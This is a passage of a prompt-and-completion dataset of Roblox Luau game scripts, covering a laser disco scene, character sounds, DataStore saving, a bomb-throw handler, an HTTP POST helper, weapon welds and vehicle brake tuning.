then\n\t\t\t\tSkydive:start()\n\t\t\tend\n\t\tend\n\tend)\n\treturn connection\nend\n\nSchema.OnSetup = function()\n\tEnvironment = GetCurrentSceneEnvironment()\n\tServerEnvironment = GetCurrentServerEnvironmentFromClient()\n\n\tFirstNeonParts = CollectionService:GetTagged(\"Scene2NeonPart\")\n\tSecondNeonParts = CollectionService:GetTagged(\"SecondNeonParts\")\n\tenableBouncyPads()\n\t\n\tSkydiveOutOfBoundsConnection = makeSkydiveConnection()\n\n\t-- Display a message to the client to inform the user about flashing lights.\n\tmessageTakeoverModule.ShowMessage(\"Warning\\n\\nThis scene contains bright flashing lights and strobing effects.\", 4)\n\t\n\tteleportPlayerToSkydive()\n\tSkydive:start()\n\tlocal camera = workspace.CurrentCamera\n\tlocal vector = Vector3.new(0, -1, 0)\n\n\tcamera.CameraType = Enum.CameraType.Custom\n\n\tcamera.CFrame = CFrame.new(camera.CFrame.p, camera.CFrame.Position + vector * 100)\nend\n\nSchema.OnRun = function()\n\tlocal MainAudio = Schema:audio({\n\t\tStartTime = 0,\n\t\tSoundId = \"rbxassetid://7023650590\",\n\t})\n\n\tRunFirstNeonParts(Schema, MainAudio, FirstNeonParts)\n\n\tlocal spinDiscoBall = Schema:interval({\n\t\tFrequency = 0,\n\t\tOnInterval = function()\n\t\t\tEnvironment.DiscoBall.PrimaryPart.CFrame *= CFrame.Angles(0, math.rad(0.1), 0)\n\t\tend,\n\n\t\tSyncToAudio = {\n\t\t\tAudio = MainAudio,\n\t\t\tStartAtAudioTime = 0,\n\t\t\tEndAtAudioTime = 250,\n\t\t},\n\t})\n\n\tlocal horizontalLasersRoot = Environment.Lasers_Horizontal.PrimaryPart\n\tlocal verticalLasersRoot = Environment.Lasers_Vertical.PrimaryPart\n\n\tlocal spinLasers = Schema:interval({\n\t\tFrequency = 0,\n\n\t\tOnInterval = function()\n\t\t\thorizontalLasersRoot.CFrame *= CFrame.Angles(0, math.rad(0.1), 0)\n\t\t\tverticalLasersRoot.CFrame *= CFrame.Angles(0, math.rad(-0.1), 0)\n\t\tend,\n\n\t\tSyncToAudio = {\n\t\t\tAudio = MainAudio,\n\t\t\tStartAtAudioTime = 0,\n\t\t\tEndAtAudioTime = 61,\n\t\t},\n\t})\n\n\tlocal spinLasersInReverse = Schema:interval({\n\t\tFrequency = 0,\n\n\t\tOnInterval = function()\n\t\t\thorizontalLasersRoot.CFrame *= CFrame.Angles(math.rad(1), math.rad(1), math.rad(1))\n\t\t\tverticalLasersRoot.CFrame *= CFrame.Angles(math.rad(-1), math.rad(-1), math.rad(1))\n\t\tend,\n\n\t\tSyncToAudio = {\n\t\t\tAudio = MainAudio,\n\t\t\tStartAtAudioTime = 61.88,\n\t\t\tEndAtAudioTime = 91,\n\t\t},\n\t})\n\n\tlocal spinLasersAgain = Schema:interval({\n\t\tFrequency = 0,\n\n\t\tOnStart = function()\n\t\t\thorizontalLasersRoot.CFrame = CFrame.new(horizontalLasersRoot.Position) * CFrame.Angles(0, 0, 0)\n\t\t\tverticalLasersRoot.CFrame = CFrame.new(verticalLasersRoot.Position) * CFrame.Angles(0, 0, 0)\n\t\tend,\n\t\tOnInterval = function()\n\t\t\thorizontalLasersRoot.CFrame *= CFrame.Angles(0, math.rad(0.1), 0)\n\t\t\tverticalLasersRoot.CFrame *= CFrame.Angles(0, math.rad(-0.1), 0)\n\t\tend,\n\n\t\tSyncToAudio = {\n\t\t\tAudio = MainAudio,\n\t\t\tStartAtAudioTime = 91.68,\n\t\t\tEndAtAudioTime = 122.8,\n\t\t},\n\t})\n\n\tlocal spinLasersInReverseAgain = Schema:interval({\n\t\tFrequency = 0,\n\t\tOnInterval = function()\n\t\t\thorizontalLasersRoot.CFrame *= CFrame.Angles(\n\t\t\t\tmath.rad(math.sin(os.clock()) * -2),\n\t\t\t\tmath.rad(1),\n\t\t\t\tmath.rad(math.sin(os.clock()) * 2)\n\t\t\t)\n\t\t\tverticalLasersRoot.CFrame *= CFrame.Angles(\n\t\t\t\tmath.rad(math.sin(os.clock()) * 2),\n\t\t\t\tmath.rad(1),\n\t\t\t\tmath.rad(math.sin(os.clock()) * -2)\n\t\t\t)\n\t\tend,\n\t\tSyncToAudio = {\n\t\t\tAudio = MainAudio,\n\t\t\tStartAtAudioTime = 123.165,\n\t\t\tEndAtAudioTime = 169,\n\t\t},\n\t})\n\n\tfor _, laserPointer in pairs(Environment.LaserPointers:GetChildren()) do\n\t\tlocal spinLaserPointers = Schema:interval({\n\t\t\tFrequency = 0,\n\t\t\tOnInterval = function()\n\t\t\t\tlaserPointer.Root.CFrame *= CFrame.Angles(math.rad(0.1), math.rad(0.1), math.rad(0.1))\n\t\t\tend,\n\t\t\tSyncToAudio = {\n\t\t\t\tAudio = MainAudio,\n\t\t\t\tStartAtAudioTime = 0,\n\t\t\t\tEndAtAudioTime = 61.44,\n\t\t\t},\n\t\t})\n\n\t\tlocal spinLaserPointersFaster = Schema:interval({\n\t\t\tFrequency = 0,\n\t\t\tOnInterval = function()\n\t\t\t\tlaserPointer.Root.CFrame *= CFrame.Angles(math.rad(1), math.rad(1), math.rad(1))\n\t\t\tend,\n\t\t\tSyncToAudio = {\n\t\t\t\tAudio = MainAudio,\n\t\t\t\tStartAtAudioTime = 61.88,\n\t\t\t\tEndAtAudioTime = 91.68,\n\t\t\t},\n\t\t})\n\n\t\tSchema:schedule({\n\t\t\tOnStart = function()\n\t\t\t\tlocal CFRAME = CFrame.lookAt(laserPointer.Root.Position, Vector3.new(0, 100, 0))\n\t\t\t\tlaserPointer.Root.CFrame = CFRAME * CFrame.Angles(math.rad(-90), 0, 0)\n\t\t\tend,\n\t\t\tSyncToAudio = {\n\t\t\t\tAudio = MainAudio,\n\t\t\t\tStartAtAudioTimes = { 91.7 },\n\t\t\t},\n\t\t})\n\n\t\tSchema:interval({\n\t\t\tFrequency = 0,\n\t\t\tOnInterval = function()\n\t\t\t\tlaserPointer.Root.CFrame *= CFrame.Angles(0, math.cos(math.sin(os.clock()) * 3), 0)\n\t\t\tend,\n\t\t\tSyncToAudio = {\n\t\t\t\tAudio = MainAudio,\n\t\t\t\tStartAtAudioTime = 123.165,\n\t\t\t\tEndAtAudioTime = 169,\n\t\t\t},\n\t\t})\n\tend\n\n\tlocal lowerBloomThreshold = Schema:tween({\n\t\tTween = {\n\t\t\tObject = game.Lighting.Bloom,\n\t\t\tInfo = TweenInfo.new(61.88, Enum.EasingStyle.Sine, Enum.EasingDirection.In, 0, false),\n\t\t\tProperties = {\n\t\t\t\tThreshold = 0.75,\n\t\t\t},\n\t\t},\n\t\tSyncToAudio = {\n\t\t\tAudio = MainAudio,\n\t\t\tStartAtAudioTimes = { 0 },\n\t\t},\n\t})\n\n\tlocal increaseBloomSize = Schema:tween({\n\t\tTween = {\n\t\t\tObject = game.Lighting.Bloom,\n\t\t\tInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.In, 0, false),\n\t\t\tProperties = {\n\t\t\t\tSize = 56,\n\t\t\t},\n\t\t},\n\t\tSyncToAudio = {\n\t\t\tAudio = MainAudio,\n\t\t\tStartAtAudioTimes = { 61.44 },\n\t\t},\n\t})\n\n\tThirdBeatDrop(Schema, MainAudio, Environment, FirstNeonParts, SecondNeonParts)\n\n\tCooldown(Schema, MainAudio, Environment, FirstNeonParts, SecondNeonParts)\nend\n\nSchema.OnEndScene = function()\n\tif SkydiveOutOfBoundsConnection then\n\t\tSkydiveOutOfBoundsConnection:Disconnect()\n\t\tSkydiveOutOfBoundsConnection = nil\n\tend\n\tSkydive:stop()\nend\n\nreturn Schema\n"} +{"prompt": "-- \tlocal function getProperty(_target: unknown, key: any)\n-- \t\treturn real[tostring(key)]\n-- \tend", "completion": "\n"} +{"prompt": "-- map a value from one range to another", "completion": "\nlocal function map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number\n\treturn (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin\nend\n\nlocal function playSound(sound: Sound)\n\tsound.TimePosition = 0\n\tsound.Playing = true\nend\n\nlocal function shallowCopy(t)\n\tlocal out = {}\n\tfor k, v in pairs(t) do\n\t\tout[k] = v\n\tend\n\treturn out\nend\n\nlocal function initializeSoundSystem(instances)\n\tlocal player = instances.player\n\tlocal humanoid = instances.humanoid\n\tlocal rootPart = instances.rootPart\n\n\tlocal sounds: {[string]: Sound} = {}\n\n\t-- initialize sounds\n\tfor name: string, props: {[string]: any} in pairs(SOUND_DATA) do\n\t\tlocal sound: Sound = Instance.new(\"Sound\")\n\t\tsound.Name = name\n\n\t\t-- set default values\n\t\tsound.Archivable = false\n\t\tsound.RollOffMinDistance = 5\n\t\tsound.RollOffMaxDistance = 150\n\t\tsound.Volume = 0.65\n\n\t\tfor propName, propValue: any in pairs(props) do\n\t\t\t(sound :: any)[propName] = propValue\n\t\tend\n\n\t\tsound.Parent = rootPart\n\t\tsounds[name] = sound\n\tend\n\n\tlocal playingLoopedSounds: {[Sound]: boolean?} = {}\n\n\tlocal function stopPlayingLoopedSounds(except: Sound?)\n\t\tfor sound in pairs(shallowCopy(playingLoopedSounds)) do\n\t\t\tif sound ~= except then\n\t\t\t\tsound.Playing = false\n\t\t\t\tplayingLoopedSounds[sound] = nil\n\t\t\tend\n\t\tend\n\tend\n\n\t-- state transition callbacks.\n\tlocal stateTransitions: {[Enum.HumanoidStateType]: () -> ()} = {\n\t\t[Enum.HumanoidStateType.FallingDown] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.GettingUp] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.GettingUp)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Jumping] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Jumping)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Swimming] = function()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)\n\t\t\tif verticalSpeed > 0.1 then\n\t\t\t\tsounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Splash)\n\t\t\tend\n\t\t\tstopPlayingLoopedSounds(sounds.Swimming)\n\t\t\tsounds.Swimming.Playing = true\n\t\t\tplayingLoopedSounds[sounds.Swimming] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Freefall] = function()\n\t\t\tsounds.FreeFalling.Volume = 0\n\t\t\tstopPlayingLoopedSounds(sounds.FreeFalling)\n\t\t\tplayingLoopedSounds[sounds.FreeFalling] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Landed] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)\n\t\t\tif verticalSpeed > 75 then\n\t\t\t\tsounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Landing)\n\t\t\tend\n\t\tend,\n\n\t\t--[Enum.HumanoidStateType.Running] = function()\n\t\t--\tstopPlayingLoopedSounds(sounds.Running)\n\t\t--\tsounds.Running.Playing = true\n\t\t--\tplayingLoopedSounds[sounds.Running] = true\n\t\t--end,\n\n\t\t[Enum.HumanoidStateType.Climbing] = function()\n\t\t\tlocal sound = sounds.Climbing\n\t\t\tif math.abs(rootPart.AssemblyLinearVelocity.Y) > 0.1 then\n\t\t\t\tsound.Playing = true\n\t\t\t\tstopPlayingLoopedSounds(sound)\n\t\t\telse\n\t\t\t\tstopPlayingLoopedSounds()\n\t\t\tend\n\t\t\tplayingLoopedSounds[sound] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Seated] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Dead] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Died)\n\t\tend,\n\t}\n\n\t-- updaters for looped sounds\n\tlocal loopedSoundUpdaters: {[Sound]: (number, Sound, Vector3) -> ()} = {\n\t\t[sounds.Climbing] = function(dt: number, sound: Sound, vel: Vector3)\n\t\t\tsound.Playing = vel.Magnitude > 0.1\n\t\tend,\n\n\t\t[sounds.FreeFalling] = function(dt: number, sound: Sound, vel: Vector3): ()\n\t\t\tif vel.Magnitude > 75 then\n\t\t\t\tsound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)\n\t\t\telse\n\t\t\t\tsound.Volume = 0\n\t\t\tend\n\t\tend,\n\n\t\t[sounds.Running] = function(dt: number, sound: Sound, vel: Vector3)\n\t\t\tsound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5\n\t\tend,\n\t}\n\n\t-- state substitutions to avoid duplicating entries in the state table\n\tlocal stateRemap: {[Enum.HumanoidStateType]: Enum.HumanoidStateType} = {\n\t\t[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,\n\t}\n\n\tlocal activeState: Enum.HumanoidStateType = stateRemap[humanoid:GetState()] or humanoid:GetState()\n\n\tlocal stateChangedConn = humanoid.StateChanged:Connect(function(_, state)\n\t\tstate = stateRemap[state] or state\n\n\t\tif state ~= activeState then\n\t\t\tlocal transitionFunc: () -> () = stateTransitions[state]\n\n\t\t\tif transitionFunc then\n\t\t\t\ttransitionFunc()\n\t\t\tend\n\n\t\t\tactiveState = state\n\t\tend\n\tend)\n\n\tlocal steppedConn = RunService.Stepped:Connect(function(_, worldDt: number)\n\t\t-- update looped sounds on stepped\n\t\tfor sound in pairs(playingLoopedSounds) do\n\t\t\tlocal updater: (number, Sound, Vector3) -> () = loopedSoundUpdaters[sound]\n\n\t\t\tif updater then\n\t\t\t\tupdater(worldDt, sound, rootPart.AssemblyLinearVelocity)\n\t\t\tend\n\t\tend\n\tend)\n\n\tlocal function terminate()\n\t\tstateChangedConn:Disconnect()\n\t\tsteppedConn:Disconnect()\n\n\t\tif FFlagUserAtomicCharacterSoundsUnparent then\n\t\t\t-- Unparent all sounds and empty sounds table\n\t\t\t-- This is needed in order to support the case where initializeSoundSystem might be called more than once for the same player,\n\t\t\t-- which might happen in case player character is unparented and parented back on server and reset-children mechanism is active.\n\t\t\tfor name: string, sound: Sound in pairs(sounds) do\n\t\t\t\tsound:Destroy()\n\t\t\tend\n\t\t\ttable.clear(sounds)\n\t\tend\n\tend\n\n\treturn terminate\nend\n\nlocal binding = AtomicBinding.new({\n\thumanoid = \"Humanoid\",\n\trootPart = \"HumanoidRootPart\",\n}, initializeSoundSystem)\n\nlocal playerConnections = {}\n\nlocal function characterAdded(character)\n\tbinding:bindRoot(character)\nend\n\nlocal function characterRemoving(character)\n\tbinding:unbindRoot(character)\nend\n\nlocal function playerAdded(player: Player)\n\tlocal connections = playerConnections[player]\n\tif not connections then\n\t\tconnections = {}\n\t\tplayerConnections[player] = connections\n\tend\n\n\tif player.Character then\n\t\tcharacterAdded(player.Character)\n\tend\n\ttable.insert(connections, player.CharacterAdded:Connect(characterAdded))\n\ttable.insert(connections, player.CharacterRemoving:Connect(characterRemoving))\nend\n\nlocal function playerRemoving(player: Player)\n\tlocal connections = playerConnections[player]\n\tif connections then\n\t\tfor _, conn in ipairs(connections) do\n\t\t\tconn:Disconnect()\n\t\tend\n\t\tplayerConnections[player] = nil\n\tend\n\n\tif player.Character then\n\t\tcharacterRemoving(player.Character)\n\tend\nend\n\nfor _, player in ipairs(Players:GetPlayers()) do\n\ttask.spawn(playerAdded, player)\nend\nPlayers.PlayerAdded:Connect(playerAdded)\nPlayers.PlayerRemoving:Connect(playerRemoving)\n"} +{"prompt": "-- atualiza o TextLabel com a NumberValue", "completion": "\nlocal function updateTextLabel()\n\ttextLabel.Text = commaSeparateNumber(numValue.Value)\nend\n"} +{"prompt": "-- Process Tiles", "completion": "\nlocal ZoneParser = require(script.ZoneParser)\nlocal PlayerManager = require(script.PlayerManager)\n\nZoneParser:ParseType(\"Straight\")\nZoneParser:ParseType(\"Left\")\nZoneParser:ParseType(\"Right\")\nZoneParser:ParseType(\"TJunction\")\nZoneParser:ParseType(\"Obstacle\")\n\nZoneParser:ParseType(\"Tutorial\")\n\ngame.Workspace.DisplayElements:Destroy()\n\nlocal trackSlots = {}\nfor i = 1, 6 do\n\ttrackSlots[i] = {player = nil, height = 50 * i}\nend\n\nlocal managers = {}\n\ngame.ReplicatedStorage.Events.StartRunning.OnServerEvent:connect(function(player)\n\t\n\tlocal playerSlot = player:WaitForChild(\"slotHeight\")\n\tlocal manager = PlayerManager:Run(player, playerSlot.Value)\n\tmanagers[player.Name] = manager\n\t\n\twait()\n\t\n\tplayer:LoadCharacter()\nend)\n\ngame.Players.PlayerAdded:connect(function(player)\n\tlocal playerSlot = nil\n\tfor i = 1, 6 do\n\t\tlocal slot = trackSlots[i]\n\t\tif not slot.player then\n\t\t\tslot.player = player\n\t\t\tplayerSlot = slot\n\t\t\tbreak\n\t\tend\n\tend\n\tlocal slotHeight = Instance.new(\"IntValue\", player)\n\tslotHeight.Name = \"slotHeight\"\n\tslotHeight.Value = playerSlot.height\nend)\n\ngame.Players.PlayerRemoving:connect(function(player)\n\tif managers[player.Name] then\n\t\tmanagers[player.Name].Cleanup()\n\t\tmanagers[player.Name] = nil\n\tend\nend)\n"} +{"prompt": "--- Special", "completion": "\n Special.Value = Special1:GetAsync(Plr.UserId) or Special.Value\n\t Special1:SetAsync(Plr.UserId, Special.Value)\n Special.Changed:connect(function()\n\t Special1:SetAsync(Plr.UserId, Special.Value)\n end)"} +{"prompt": "--[[\n Server side script that listens to client bomb throw requests, validates them, and then executes the request\n]]", "completion": "\nlocal ServerStorage = game:GetService(\"ServerStorage\")\n\nlocal createThrownBomb = require(ServerStorage.Source.MinigameUtilities.createThrownBomb)\n\nlocal tool = script.Parent\nlocal fireEvent = tool:FindFirstChild(\"Fire\")\nlocal cooldown = tool:FindFirstChild(\"Cooldown\").Value\n\nlocal lastThrow = 0\nfireEvent.OnServerEvent:Connect(\n\tfunction(player, origin, target)\n\t\tif player and player.Character then\n\t\t\tif script:IsDescendantOf(player.Character) then\n\t\t\t\tlocal nowTick = tick()\n\t\t\t\tif nowTick - lastThrow > cooldown then\n\t\t\t\t\tlastThrow = nowTick\n\t\t\t\t\tcreateThrownBomb(player, origin, target)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n)\n"} +{"prompt": "-- Local private variables and constants", "completion": "\nlocal ZERO_VECTOR2 = Vector2.new(0,0)\n\nlocal tweenAcceleration = math.rad(220)\t\t--Radians/Second^2\nlocal tweenSpeed = math.rad(0)\t\t\t\t--Radians/Second\nlocal tweenMaxSpeed = math.rad(250)\t\t\t--Radians/Second\nlocal TIME_BEFORE_AUTO_ROTATE = 2.0 \t\t--Seconds, used when auto-aligning camera with vehicles\nlocal PORTRAIT_OFFSET = Vector3.new(0, 2, 0) \nlocal MOBILE_OFFSET = Vector3.new(0, 1, 0)\n\nlocal INITIAL_CAMERA_ANGLE = CFrame.fromOrientation(math.rad(-15), 0, 0)\n"} +{"prompt": "-- // Services", "completion": "\nlocal Players = game:GetService(\"Players\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal RunService = game:GetService(\"RunService\")\nlocal ServerStorage = game:GetService(\"ServerStorage\")\n"} +{"prompt": "-- url : (string)\n-- body : (string)\n-- customHeaders : (dictionary, optional)\n-- returns : (promise)", "completion": "\nfunction Networking:POST(url, body, customHeaders)\n\tif not customHeaders then\n\t\tcustomHeaders = self._headers\n\tend\n\n\tassert(type(url) == \"string\", \"expected 'url' to be a string\")\n\tassert(type(body) == \"string\", \"expected 'body' to be a string\")\n\tassert(type(customHeaders) == \"table\", \"expected 'customHeaders' to be a dictionary\")\n\n\tlocal httpFunc = function()\n\t\treturn self._httpImpl:RequestAsync({\n\t\t\tUrl = url,\n\t\t\tMethod = \"POST\",\n\t\t\tHeaders = customHeaders,\n\t\t\tBody = body,\n\t\t})\n\tend\n\n\treturn commonHttpHandler(url, httpFunc)\nend\n\nreturn Networking\n\n"} +{"prompt": "-- Make the AnimBase", "completion": "\n\tL_15_ = Instance.new(\"Part\", L_3_)\n\tL_15_.FormFactor = \"Custom\"\n\tL_15_.CanCollide = false\n\tL_15_.Transparency = 1\n\tL_15_.Anchored = false\n\tL_15_.Name = \"AnimBase\"\n\t\n\tL_16_ = Instance.new(\"Motor6D\")\n\tL_16_.Part0 = L_15_\n\tL_16_.Part1 = L_43_\n\tL_16_.Parent = L_15_\n\tL_16_.Name = \"AnimBaseW\"\n\t--AnimBaseW.C1 = gunSettings.StartPose\t\n\t\n\tL_12_ = Instance.new(\"Motor6D\")\n\tL_12_.Part0 = L_3_['Right Arm']\n\tL_12_.Part1 = L_1_:FindFirstChild('Grip')\n\tL_12_.Parent = L_3_['Right Arm']\n\tL_12_.C1 = L_11_.GunPos\n\tL_12_.Name = \"Grip\"\n\t\n\tfor L_45_forvar1, L_46_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_46_forvar2:IsA(\"Part\") or L_46_forvar2:IsA(\"MeshPart\") or L_46_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_46_forvar2.Anchored = true\n\t\t\t\n\t\t\tif L_46_forvar2.Name ~= \"Grip\" and L_46_forvar2.Name ~= \"Bolt\" and L_46_forvar2.Name ~= 'Lid' then\n\t\t\t\tWeld(L_46_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\tend\n\t\t\t\n\t\t\tif L_46_forvar2.Name == \"Bolt\" then\n\t\t\t\tif L_1_:FindFirstChild('BoltHinge') then\n\t\t\t\t\tWeld(L_46_forvar2, L_1_:WaitForChild(\"BoltHinge\"))\n\t\t\t\telse\n\t\t\t\t\tWeld(L_46_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tif L_46_forvar2.Name == \"Lid\" then\n\t\t\t\tif L_1_:FindFirstChild('LidHinge') then\n\t\t\t\t\tWeld(L_46_forvar2, L_1_:WaitForChild(\"LidHinge\"))\n\t\t\t\telse\n\t\t\t\t\tWeld(L_46_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor L_47_forvar1, L_48_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_48_forvar2:IsA(\"Part\") or L_48_forvar2:IsA(\"MeshPart\") or L_48_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_48_forvar2.Anchored = false\n\t\tend\n\tend\n\t\n\tL_17_ = L_3_['Right Arm']\n\tL_18_ = L_3_['Left Arm']\n\tL_21_ = L_3_.Torso:WaitForChild(\"Right Shoulder\")\n\tL_22_ = L_3_.Torso:WaitForChild(\"Left Shoulder\")\n\t\n\tL_19_ = Instance.new(\"Motor6D\")\n\tL_19_.Name = \"RAW\"\n\tL_19_.Part0 = L_15_\n\tL_19_.Part1 = L_17_\n\tL_19_.Parent = L_15_\n\tL_19_.C1 = L_11_.RightArmPos\n\tL_3_.Torso:WaitForChild(\"Right Shoulder\").Part1 = nil\n\t\t\n\tL_20_ = Instance.new(\"Motor6D\")\n\tL_20_.Name = \"LAW\"\n\tL_20_.Part0 = L_15_\n\tL_20_.Part1 = L_18_\n\tL_20_.Parent = L_15_\n\tL_20_.C1 = L_11_.LeftArmPos\n\tL_3_.Torso:WaitForChild(\"Left Shoulder\").Part1 = nil\n\t\n\tif L_27_ then\n\t\tL_27_:Destroy()\n\tend\n\t\n\tL_28_:FireClient(L_2_, true, L_12_, L_15_, L_16_, L_19_, L_20_, L_14_)\nend)\n\nL_1_.Unequipped:connect(function()\n\tlocal L_49_ = L_3_:FindFirstChild('Torso')\n\tlocal L_50_ = L_3_:FindFirstChild('Head')\n\tL_27_ = Instance.new('Model', L_3_)\n\tL_27_.Name = \"HolsterModel\"\n\t\n\tfor L_51_forvar1, L_52_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tfor L_53_forvar1, L_54_forvar2 in pairs(L_52_forvar2:GetChildren()) do\n\t\t\tif L_54_forvar2.ClassName == \"Motor6D\" then\n\t\t\t\tL_54_forvar2:Destroy()\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor L_55_forvar1, L_56_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_56_forvar2:IsA(\"Part\") or L_56_forvar2:IsA(\"MeshPart\") or L_56_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_56_forvar2.Anchored = true\n\t\tend\n\tend\n\t\n\tif L_3_.Humanoid and L_3_.Humanoid.Health > 0 then\n\t\tL_3_.HumanoidRootPart.RootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\tL_49_['Right Hip'].C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)\n\t\tL_49_['Left Hip'].C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_14_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\t\n\t\tL_3_.HumanoidRootPart.RootJoint.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tL_49_['Right Hip'].C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\t\tL_49_['Left Hip'].C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_14_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\tend\n\t\n\tL_49_:WaitForChild(\"Neck\").Part1 = L_50_\n\tL_49_:WaitForChild(\"Neck\").C1 = L_49_:WaitForChild(\"Neck\").C1\n\tL_49_:WaitForChild(\"Neck\").C0 = L_49_:WaitForChild(\"Neck\").C0\n\t\n\tL_15_:Destroy()\n\tL_14_:Destroy()\n\tL_21_.Part1 = L_17_\n\tL_22_.Part1 = L_18_\n\t\n\tL_28_:FireClient(L_2_, false)\n\t\n\tif L_11_.HolsteringEnabled then\n\t\tfor L_58_forvar1, L_59_forvar2 in pairs(L_1_:GetChildren()) do\n\t\t\tif L_59_forvar2:IsA(\"Part\") or L_59_forvar2:IsA(\"MeshPart\") or L_59_forvar2:IsA(\"UnionOperation\") then\n\t\t\t\tL_59_forvar2.Anchored = true\n\t\t\t\tlocal L_60_ = L_59_forvar2:clone()\n\t\t\t\tL_60_.Parent = L_27_\n\t\t\tend\n\t\tend;\n\t\t\n\t\tfor L_61_forvar1, L_62_forvar2 in pairs(L_27_:GetChildren()) do\n\t\t\tWeld(L_62_forvar2, L_27_:WaitForChild(\"Grip\"))\n\t\tend\n\t\t\n\t\tlocal L_57_ = Weld(L_27_:WaitForChild(\"Grip\"), L_3_:WaitForChild('Torso'))\n\t\tL_57_.Name = \"TWeld\"\n\t\tL_57_.C1 = L_11_.HolsterPos\n\t\t\n\t\tfor L_63_forvar1, L_64_forvar2 in pairs(L_27_:GetChildren()) do\n\t\t\tL_64_forvar2.Anchored = false\n\t\tend\n\tend\nend)\n\nL_3_.Humanoid.Died:connect(function()\t\n\tL_28_:FireClient(L_2_, false)\nend)\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= true\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 18\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.FBrakeForce\t= 2000\t\t-- Front brake force\n\tTune.RBrakeForce\t= 1750\t\t-- Rear brake force\n\tTune.PBrakeForce\t= 5000\t\t-- Handbrake force\n\t\n\tTune.FLgcyBForce\t= 10000\t\t-- Front brake force [PGS OFF]\n\tTune.RLgcyBForce\t= 8000\t\t-- Rear brake force [PGS OFF]\n\tTune.LgcyPBForce\t= 25000\t\t-- Handbrake force [PGS OFF]\n\t"} +{"prompt": "-- Luke", "completion": "\n\n\nlocal button = script.Parent\nlocal players = game:GetService('Players')\nlocal characterScripts = game:GetService('ReplicatedStorage'):WaitForChild('CharacterScripts')\n\n\nlocal CHARACTER_TEMPLATE = workspace:WaitForChild('Girl')\nlocal DEBOUNCE_TIME = 5\nlocal debounce = false\n\n\nbutton.Touched:connect(function(hit)\n\tif hit and hit.Parent then\n\t\tlocal humanoid = hit.Parent:FindFirstChild('Humanoid')\n\t\tlocal hrp = hit.Parent:FindFirstChild('HumanoidRootPart')\n\t\tif hrp and humanoid and humanoid.Health > 0 then\n\t\t\tlocal player = players:GetPlayerFromCharacter(hit.Parent)\n\t\t\tif not debounce then\n\t\t\t\tdebounce = true\n\t\t\t\t\n\t\t\t\tlocal newCharacter = CHARACTER_TEMPLATE:Clone()\n\t\t\t\tnewCharacter.HumanoidRootPart.CFrame = hrp.CFrame\n\t\t\t\tnewCharacter.HumanoidRootPart.Anchored = false\n\t\t\t\tnewCharacter.Name = player.Name\n\t\t\t\t\n\t\t\t\tfor i,v in pairs(characterScripts:GetChildren()) do\n\t\t\t\t\tv:clone().Parent = newCharacter\n\t\t\t\tend\n\n\t\t\t\tplayer.Character = newCharacter\n\t\t\t\tnewCharacter.Parent = workspace\n\n\t\t\t\twait(DEBOUNCE_TIME)\n\t\t\t\tdebounce = false\n\t\t\tend\n\t\tend\n\tend\nend)\n\n\n\n\n"} +{"prompt": "--// Tracer Vars", "completion": "\n\tTracerTransparency = 0;\t\n\tTracerLightEmission = 1;\n\tTracerTextureLength = 0.1;\n\tTracerLifetime = 0.05;\n\tTracerFaceCamera = true;\n\tTracerColor = BrickColor.new('White');\n"} +{"prompt": "-- regeneration", "completion": 